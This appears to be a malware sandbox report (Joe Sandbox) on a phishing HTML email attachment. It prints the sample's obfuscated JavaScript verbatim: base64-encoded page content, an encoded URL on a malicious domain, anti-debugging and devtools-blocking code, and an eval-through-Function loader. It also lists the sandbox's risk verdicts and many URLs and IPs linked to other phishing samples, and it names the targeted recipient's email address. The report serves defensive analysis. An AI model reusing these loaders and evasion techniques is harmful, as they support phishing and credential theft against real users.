S1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogNThweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTttYXJnaW4tcmlnaHQ6IGF1dG87bWFyZ2luLWxlZnQ6IGF1dG87fQ0KI0VVSklmVWtyU08gLnRleHQtY2VudGVyIHt0ZXh0LWFsaWduOiBjZW50ZXIhaW1wb3J0YW50O30NCkBtZWRpYSAobWluLXdpZHRoOjk5MnB4KXsNCiNFVUpJZlVrclNPIC5jb2wtbGctNHtmbGV4OjAgMCBhdXRvO3dpZHRoOjMzLjMzMzMzMzMzJTt9DQp9DQojRVVKSWZVa3JTTyAuZGlzcGxheS00IHtmb250LXNpemU6IDEuMjVyZW0haW1wb3J0YW50O30NCiNFVUpJZlVrclNPIC5tdC0yIHttYXJnaW4tdG9wOiAwLjVyZW0haW1wb3J0YW50O30NCiNFVUpJZlVrclNPIC5oNCB7Zm9udC1zaXplOiBjYWxjKC45MDByZW0gKyAuM3Z3KTt9DQojRVVKSWZVa3JTTyAuanVzdGlmeS1jb250ZW50LWNlbnRlcntqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyIWltcG9ydGFudDt9DQojRVVKSWZVa3JTTy5tdC01e21hcmdpbi10b3A6M3JlbSFpbXBvcnRhbnQ7fQ0KI0VVSklmVWtyU08gLm10LTQge21hcmdpbi10b3A6IDFyZW0haW1wb3J0YW50O30NCiNFVUpJZlVrclNPICN3dk5GcWVEUUh3IHtjb2xvcjogIzZjNzU3ZDtmb250LXNpemU6MTRweDttYXJnaW4tdG9wOiAuNXJlbTt9DQogICAgPC9zdHlsZT4NCiAgICA8c2NyaXB0Pg0KICAgIGlmIChuYXZpZ2F0b3Iud2ViZHJpdmVyIHx8IHdpbmRvdy5jYWxsUGhhbnRvbSB8fCB3aW5kb3cuX3BoYW50b20gfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmNsdWRlcygiQnVycCIpKSB7DQogICAgICAgIHdpbmRvdy5sb2NhdGlvbiA9ICJhYm91dDpibGFuayI7DQp9DQpkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNjcpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDc0KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzIpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQuYWx0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkNCiAgICApIHsNCiAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCn0pOw0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY29udGV4dG1lbnUnLCBmdW5jdGlvbihldmVudCkgew0KICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgcmV0dXJuIGZhbHNlOw0KfSk7DQooZnVuY3Rpb24gSEhWUFFnRXhmcSgpIHsNCiAgICBsZXQgUVJxQWFSUXZmbyA9IGZhbHNlOw0KICAgIGNvbnN0IGxOVGFNY3RpYWwgPSAxMDA7DQogICAgc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKSB7DQogICAgICAgIGNvbnN0IG1nZUVTV3NFeUMgPSBwZXJmb3JtYW5jZS5ub3coKTsNCiAgICAg
URL: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/J8VVYD4B/c.gaudenzi@almaviva.it_%7BRANDOM_NUMBER5%7DCQDM.html#=c.gaudenzi@almaviva.it Model: Joe Sandbox AI	{ "brands": [] }
	{ "brands": [] }
URL: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/J8VVYD4B/c.gaudenzi@almaviva.it_%7BRANDOM_NUMBER5%7DCQDM.html#=c.gaudenzi@almaviva.it Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Verifying your browser to ensure a secure connection.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "High-risk script detected with multiple red flags: uses atob() for obfuscation, contains an encoded suspicious URL (perfidious2.com), uses document.write() for DOM manipulation, includes anti-debugging measures, and attempts to prevent inspection through keyboard event blocking. These patterns are commonly associated with malicious code execution and browser exploitation." }
if(atob("aHR0cHM6Ly9Vbi5wZXJmaWRpb3VzMi5jb20vN05zMmpfU19ncjdCYjlmdWdCU3llUE1UMmhFLw==") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiN1b1lScGFxWWNFIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI3VvWVJwYXFZY0UgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI3VvWVJwYXFZY0UgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojdW9ZUnBhcVljRSBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI3VvWVJwYXFZY0UuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogNjJweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTttYXJnaW4tcmlnaHQ6IGF1dG87bWFyZ2luLWxlZnQ6IGF1dG87fQ0KI3VvWVJwYXFZY0UgLnRleHQtY2VudGVyIHt0ZXh0LWFsaWduOiBjZW50ZXIhaW1wb3J0YW50O30NCkBtZWRpYSAobWluLXdpZHRoOjk5MnB4KXsNCiN1b1lScGFxWWNFIC5jb2wtbGctNHtmbGV4OjAgMCBhdXRvO3dpZHRoOjMzLjMzMzMzMzMzJTt9DQp9DQojdW9ZUnBhcVljRSAuZGlzcGxheS00IHtmb250LXNpemU6IDEuMjVyZW0haW1wb3J0YW50O30NCiN1b1lScGFxWWNFIC5tdC0yIHttYXJnaW4tdG9wOiAwLjVyZW0haW1wb3J0YW50O30NCiN1b1lScGFxWWNFIC5oNCB7Zm9udC1zaXplOiBjYWxjKC45MDByZW0gKyAuM3Z3KTt9DQojdW9ZUnBhcVljRSAuanVzdGlmeS1jb250ZW50LWNlbnRlcntqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyIWltcG9ydGFudDt9DQojdW9ZUnBhcVljRS5tdC01e21hcmdpbi10b3A6M3JlbSFpbXBvcnRhbnQ7fQ0KI3VvWVJwYXFZY0UgLm10LTQge21hcmdpbi10b3A6IDFyZW0haW1wb3J0YW50O30NCiN1b1lScGFxWWNFICNmSFpyRENzeHJZIHtjb2xvcjogIzZjNzU3ZDtmb250LXNpemU6MTRweDttYXJnaW4tdG9wOiAuNXJlbTt9DQogICAgPC9zdHlsZT4NCiAgICA8c2NyaXB0Pg0KICAgIGlmIChuYXZpZ2F0b3Iud2ViZHJpdmVyIHx8IHdpbmRvdy5jYWxsUGhhbnRvbSB8fCB3aW5kb3cuX3BoYW50b20gfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmNsdWRlcygiQnVycCIpKSB7DQogICAgICAgIHdpbmRvdy5sb2NhdGlvbiA9ICJhYm91dDpibGFuayI7DQp9DQpkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNjcpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDc0KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzIpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQuYWx0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkNCiAgICApIHsNCiAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCn0pOw0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY29udGV4dG1lbnUnLCBmdW5jdGlvbihldmVudCkgew0KICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgcmV0dXJuIGZhbHNlOw0KfSk7DQooZnVuY3Rpb24gbXZpbm1UTW5nZygpIHsNCiAgICBsZXQgbFB3dVB4UExsZiA9IGZhbHNlOw0KICAgIGNvbnN0IG5PY0lhZFV1eUwgPSAxMDA7DQogICAgc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKSB7DQogICAgICAgIGNvbnN0IE5qYWpHSEtYdnMgPSBwZXJmb3JtYW5jZS5ub3coKTsNCiAgICAg
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "Script implements anti-debugging and anti-inspection measures (blocking dev tools, right-click, and automated testing tools), with redirection to azure.com. While these techniques can be used legitimately for security, they're also common in malicious scripts. The redirection is to a trusted domain (azure.com) which reduces the risk score, but the aggressive anti-debugging and obfuscated variable names warrant caution." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); (function HHVPQgExfq() { let QRqAaRQvfo = false; const lNTaMctial = 100; setInterval(function() { const mgeESWsEyC = performance.now(); debugger; const qOeeWfmuld = performance.now(); if (qOeeWfmuld - mgeESWsEyC > lNTaMctial && !QRqAaRQvfo) { QRqAaRQvfo = true; window.location.replace('https://www.azure.com'); } }, 1000); })();
URL: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/J8VVYD4B/c.gaudenzi@almaviva.it_%7BRANDOM_NUMBER5%7DCQDM.html#=c.gaudenzi@almaviva.it Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 10, "reasoning": "This code contains multiple high-risk indicators: 1) Uses eval through obfuscated means (atob('ZXZhbA==') decodes to 'eval'), 2) Heavy obfuscation using Unicode characters ( and ) to encode malicious payload, 3) Uses Function constructor to dynamically execute code, 4) Complex encoding/decoding mechanisms to hide actual payload. This pattern is characteristic of malware designed to evade detection." }
const walnutwood = () => (Function("return" + " " + atob("ZXZhbA=="))()); function monkeypod(walnutwood) { return +("" > walnutwood); } function bamboo(goldfish) { return [...goldfish].map(monkeypod).join(''); } function buffalo(goldfish) { return goldfish.replace(/.{8}/g, (chunk) => String.fromCharCode(parseInt(chunk, 2)) ); } function limpet(goldfish) { const lemur = bamboo(goldfish); return walnutwood()(buffalo(lemur)); } const swampwood = new Proxy({}, { get: (_, goldfish) => limpet(goldfish) }); swampwood.
URL: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/J8VVYD4B/c.gaudenzi@almaviva.it_%7BRANDOM_NUMBER5%7DCQDM.html#=c.gaudenzi@almaviva.it Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Your current User-Agent string appears to be from an automated process, If this is incorrect, please click this link:", "prominent_button_name": "United States English Microsoft Homepage", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/J8VVYD4B/c.gaudenzi@almaviva.it_%7BRANDOM_NUMBER5%7DCQDM.html#=c.gaudenzi@almaviva.it Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/J8VVYD4B/c.gaudenzi@almaviva.it_%7BRANDOM_NUMBER5%7DCQDM.html#=c.gaudenzi@almaviva.it Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/J8VVYD4B/c.gaudenzi@almaviva.it_%7BRANDOM_NUMBER5%7DCQDM.html#=c.gaudenzi@almaviva.it Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Your current User-Agent string appears to be from an automated process, If this is incorrect, please click this link:", "prominent_button_name": "United States English Microsoft Homepage", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/J8VVYD4B/c.gaudenzi@almaviva.it_%7BRANDOM_NUMBER5%7DCQDM.html#=c.gaudenzi@almaviva.it Model: Joe Sandbox AI	{ "brands": [] }
	{ "brands": [] }
URL: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/J8VVYD4B/c.gaudenzi@almaviva.it_%7BRANDOM_NUMBER5%7DCQDM.html#=c.gaudenzi@almaviva.it Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/J8VVYD4B/c.gaudenzi@almaviva.it_%7BRANDOM_NUMBER5%7DCQDM.html#=c.gaudenzi@almaviva.it Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.65.72	http://nakheel.com.staffrecords-2024auaqc-iqodlfdhb.copypremium.com/?staffrecords/2024/=c2FiaWthLmFiaWRAbmFraGVlbC5jb20=	Get hash	malicious	Unknown	Browse
104.21.65.72	dkzbykkmpx.exe	Get hash	malicious	Unknown	Browse
13.107.137.11	Payment Remittance Advice_000000202213.xlsb	Get hash	malicious	Unknown	Browse	onedrive.live.com/download?cid=64F8294A00286885&resid=64F8294A00286885%21770&authkey=ABI3zrc6BsVUKxU
104.21.7.52	https://www.biochain.com/tissue-microarray-3-1/	Get hash	malicious	Unknown	Browse
104.21.7.52	Tender-UAE009876525_Bin Dasmal Contracting Est.exe	Get hash	malicious	AveMaria, UACMe	Browse
104.18.94.41	http://beacons.ai/luluhime_xo	Get hash	malicious	Unknown	Browse
	http://beacons.ai/390	Get hash	malicious	Unknown	Browse
	http://beacons.ai/390	Get hash	malicious	Unknown	Browse
	V-Mail.msg	Get hash	malicious	Unknown	Browse
	https://secure-page.safedocument01.workers.dev/	Get hash	malicious	HTMLPhisher	Browse
	https://u1.padletusercontent.com/uploads/padlet-uploads/3025704792/6a713d777f6a37c342ac9ff24818d63a/AContactinyourAddressBook.pdf?token=M4XZQk0-e0NegbPKN1EJFleeEg1SvAJHdhT-Qqn0IkrT5Su7By9B8urGCx2aLfmJMlgU5pPj_rq7vwJTjl3Mo83xjhy_G7fpTmckKxF_1H_Z492RSJiRSa3MofZP5-14SdBnispcHFsREDhhEifxgSR79jzwl3Q_R367A9ozgQRT4PbUB36zYP2FqxL7ZQfSwKjHH3FrzM2GPeTcuOwd8LrJMHGk1iqhNWgBjuGUF8BCo6b-0YxOTsq00c-_jwQFgXebvlVvdLX7cLMfAYfxPg==	Get hash	malicious	Unknown	Browse
	Updated_Employee_Agreement_2024.pdf	Get hash	malicious	Unknown	Browse
	https://d5h97x04.na1.hubspotlinksstarter.com/Ctc/2Q+113/d5H97x04/VV-M6D2dBFYlW421GWc7K7vL9W7Wb0M15p5chGN6wcHq23m2ndW69sMD-6lZ3mTW3sXdl26-SwxvW2P1jR26FfknmW5MqFpy1DycRpW8smQLW1d__ZwW8XrT451FSrhKW5wFRQF4yFrX6VwDxQv1HC-r9W3RVpBl8YFfg2W38lZmS4Tty8PW1WK9v274Crv8VHlkv-3jwwbXW3nmDJD2D7gDrN2DkYfnG_LhHW34mGlW2CxZ_1W4yJkrr7md1xFW7SGg83758qg9W34XFQD81BLk_W2B5NGc88WvhjW1-BmYr56s2CKW8RFXGn4l1S63f2FbPHW04	Get hash	malicious	Unknown	Browse
	https://bobavr.com/aW5mb0BkZXJpdml0ZWMuY29t&uGysisqNBvxM&hmr&x-ac-unk-mer&03684296	Get hash	malicious	Unknown	Browse
	https://pro.arawato.pro/	Get hash	malicious	HTMLPhisher	Browse
104.18.95.41	http://beacons.ai/luluhime_xo	Get hash	malicious	Unknown	Browse
	http://beacons.ai/390	Get hash	malicious	Unknown	Browse
	http://beacons.ai/390	Get hash	malicious	Unknown	Browse
	V-Mail.msg	Get hash	malicious	Unknown	Browse
	https://secure-page.safedocument01.workers.dev/	Get hash	malicious	HTMLPhisher	Browse
	https://Lakeheadu.hlov.de/Szii3aFWcmivgihoevuc/trTlqgskL4/K3qRQz5Ggziclxgen/t3JiPvu/Szii3aFWcmivgihoevuc/Advising/YSxMdD/lakeheadu.ca/Szii3aFWcmivgihoevuc	Get hash	malicious	HTMLPhisher	Browse
	https://u1.padletusercontent.com/uploads/padlet-uploads/3025704792/6a713d777f6a37c342ac9ff24818d63a/AContactinyourAddressBook.pdf?token=M4XZQk0-e0NegbPKN1EJFleeEg1SvAJHdhT-Qqn0IkrT5Su7By9B8urGCx2aLfmJMlgU5pPj_rq7vwJTjl3Mo83xjhy_G7fpTmckKxF_1H_Z492RSJiRSa3MofZP5-14SdBnispcHFsREDhhEifxgSR79jzwl3Q_R367A9ozgQRT4PbUB36zYP2FqxL7ZQfSwKjHH3FrzM2GPeTcuOwd8LrJMHGk1iqhNWgBjuGUF8BCo6b-0YxOTsq00c-_jwQFgXebvlVvdLX7cLMfAYfxPg==	Get hash	malicious	Unknown	Browse
	Updated_Employee_Agreement_2024.pdf	Get hash	malicious	Unknown	Browse
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9iZVNyLndvbWdoY2NxLnJ1L1V6S2JvLw==	Get hash	malicious	Unknown	Browse
	https://d5h97x04.na1.hubspotlinksstarter.com/Ctc/2Q+113/d5H97x04/VV-M6D2dBFYlW421GWc7K7vL9W7Wb0M15p5chGN6wcHq23m2ndW69sMD-6lZ3mTW3sXdl26-SwxvW2P1jR26FfknmW5MqFpy1DycRpW8smQLW1d__ZwW8XrT451FSrhKW5wFRQF4yFrX6VwDxQv1HC-r9W3RVpBl8YFfg2W38lZmS4Tty8PW1WK9v274Crv8VHlkv-3jwwbXW3nmDJD2D7gDrN2DkYfnG_LhHW34mGlW2CxZ_1W4yJkrr7md1xFW7SGg83758qg9W34XFQD81BLk_W2B5NGc88WvhjW1-BmYr56s2CKW8RFXGn4l1S63f2FbPHW04	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
code.jquery.com	Itnaledi Salary_ Payslip _ Updates4C79949D7C31_pdf.html	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	V-Mail.msg	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://secure-page.safedocument01.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://Lakeheadu.hlov.de/Szii3aFWcmivgihoevuc/trTlqgskL4/K3qRQz5Ggziclxgen/t3JiPvu/Szii3aFWcmivgihoevuc/Advising/YSxMdD/lakeheadu.ca/Szii3aFWcmivgihoevuc	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://u1.padletusercontent.com/uploads/padlet-uploads/3025704792/6a713d777f6a37c342ac9ff24818d63a/AContactinyourAddressBook.pdf?token=M4XZQk0-e0NegbPKN1EJFleeEg1SvAJHdhT-Qqn0IkrT5Su7By9B8urGCx2aLfmJMlgU5pPj_rq7vwJTjl3Mo83xjhy_G7fpTmckKxF_1H_Z492RSJiRSa3MofZP5-14SdBnispcHFsREDhhEifxgSR79jzwl3Q_R367A9ozgQRT4PbUB36zYP2FqxL7ZQfSwKjHH3FrzM2GPeTcuOwd8LrJMHGk1iqhNWgBjuGUF8BCo6b-0YxOTsq00c-_jwQFgXebvlVvdLX7cLMfAYfxPg==	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9iZVNyLndvbWdoY2NxLnJ1L1V6S2JvLw==	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://d5h97x04.na1.hubspotlinksstarter.com/Ctc/2Q+113/d5H97x04/VV-M6D2dBFYlW421GWc7K7vL9W7Wb0M15p5chGN6wcHq23m2ndW69sMD-6lZ3mTW3sXdl26-SwxvW2P1jR26FfknmW5MqFpy1DycRpW8smQLW1d__ZwW8XrT451FSrhKW5wFRQF4yFrX6VwDxQv1HC-r9W3RVpBl8YFfg2W38lZmS4Tty8PW1WK9v274Crv8VHlkv-3jwwbXW3nmDJD2D7gDrN2DkYfnG_LhHW34mGlW2CxZ_1W4yJkrr7md1xFW7SGg83758qg9W34XFQD81BLk_W2B5NGc88WvhjW1-BmYr56s2CKW8RFXGn4l1S63f2FbPHW04	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://protect.checkpoint.com/v2/r01/___https:/vlp6cm34.r.us-east-1.awstrack.me/Q5dmyyux:e7Ke7Kjrfnq.ynintwjuqD.htr7Kh7KjOBJBJLTmXFRFSIYBSOlvWZ1QLgoUfHylhY/JnF_riAUpCWczNA0yO_jaB~oG6AYM23pBoyDNMJ-PJR-NmPFsN~VgZA/PF0HUyICotYzOGFnKvZNBMhC~KfYclayEc_La~ccZq7wY-S_IKBLwx/KWAAv8MVfzRwNM6LCN8Jigf~80C6gkuabRjmLM--7qPAcOAlUFFI__5pCS9Bd6d565556c8b~/hi595-9hb~3gh-a~bg-9bgb-ci5/-b9jf76k5b9g~-555555do29l0Y3hHjFJM3POpxyJsMjDY~5=957___.YzJ1OndhaXRha2VyZXByaW1hcnk6YzpvOmNkMzFiOWRiNjRlNzYwZWExOWZkZjZlZWU4YmI5NjkyOjc6NjQxYjozOTM5M2Y5MjlmZWNkMGUzMGYzMjUxMGFiZDQ0YjU2Mzg5ODdlNDNlNTAyN2VlYjBmMjQxZjc3Mjg5OGNiMWQxOmg6VDpU%3E	Get hash	malicious	Unknown	Browse	151.101.130.137
	[EXTERNAL] Fw_ LVW 1201831..eml	Get hash	malicious	Unknown	Browse	151.101.2.137
	Wc pay benefit.pdf	Get hash	malicious	Unknown	Browse	151.101.66.137
dual-spov-0006.spov-msedge.net	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9iZVNyLndvbWdoY2NxLnJ1L1V6S2JvLw==	Get hash	malicious	Unknown	Browse	13.107.139.11
	Demande de proposition du Accueil-Parrainage Outaouais.pdf	Get hash	malicious	Unknown	Browse	13.107.139.11
	https://1drv.ms/o/c/1ba8fd2bd98c98a8/EmMMbLWVyqxBh9Z6zxri2ZUBVkwUpSiY2KbvhupkdaFzGA?e=F6pNlD	Get hash	malicious	Unknown	Browse	13.107.139.11
	https://nam.dcv.ms/WLtyQ3priB	Get hash	malicious	HTMLPhisher	Browse	13.107.139.11
